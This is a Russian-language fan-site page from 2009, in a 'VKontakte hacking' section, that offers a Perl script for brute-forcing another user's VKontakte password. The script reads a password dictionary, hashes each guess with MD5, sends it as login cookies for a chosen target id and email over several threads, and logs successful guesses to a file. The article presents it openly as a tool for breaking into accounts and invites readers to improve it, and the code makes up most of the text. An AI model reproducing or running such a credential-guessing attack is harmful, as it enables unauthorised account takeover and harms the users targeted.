Name: Взлом В Контакте. Усовершенствованный метод
Item: Взлом В Контакте. Усовершенствованный метод
Author: sэr


	Вконтакте
	Главная \| Регистрация \| Вход
	Среда, 20.11.2024, 09:40
Приветствую Вас Гость \| RSS

Меню сайта

Вконтакте.RU

Зароботок

Для WebMastera

Развлекательное

Прочее

Юмор

Анекдоты

Форма входа

Привет,Гость

Ник:Гость

Группа:Гости

Пол:

Зарегистриров ан дней

Ip:3.141.7.140

Личных сообщений:

Редактировать профиль

Завершить сеанс

Главная » Статьи » ВЗЛОМ В КОНТАКТЕ (VKontakte.ru)

Взлом В Контакте. Усовершенствованный метод

Скрипт работает просто, используется простой bruteforce (перебор вариантов), в этом скрипте перебор паролей, которые расположены в файле. Человек с руками может сделать из этого скрипта более модифицированный вариант. Так, что ловите. #!/usr/bin/perl use IO::Socket; use MD5; use threads; use threads::shared; my @pass : shared; ###################################### # C!klodoL # vkontakte.ru bruteforce with multi-threads ###################################### $dic = 'passl.txt'; #словарь паролей $id = 111111; #id цели $mail = 'mail%40mail.com'; #мыло, вместо @ вписать %40 $threads = 4; #количество потоков ###################################### open (pass, "<$dic"); Next: @pass = pass(); for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);} for(@trl) { $_->join; } sub Brut { while (@pass){ $pass = shift @pass; $md5 = MD5->hexhash($pass); $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80); print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n". "Host: vkontakte.ru\r\n". "Accept: /\r\n". "Content-Type: application/x-www-form-urlencoded\r\n". "User-Agent: Mozillo\r\n". "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n". "Connection: close\r\n\r\n"; $answ = <$sock>; close $sock; print "$pass $answ"; if ($answ =~ /302/){ open (good, '>>good.txt'); print good "$id:$pass:$md5\n"; print "$id:$pass:$md5\n"; close good; exit;} } } goto Next; sub pass { my (@mas); while ( ){ push @mas, $_; last if (@mas == 400); } chomp @mas; return @mas; } Источник: www.ublog.ucoz.ru - Секреты и рейтинг ВКонтакте
Категория: ВЗЛОМ В КОНТАКТЕ (VKontakte.ru) \| Добавил: ShadowS (10.04.2009)
Просмотров: 1814 \| Комментарии: 5 \| Рейтинг: 4.0/1 \|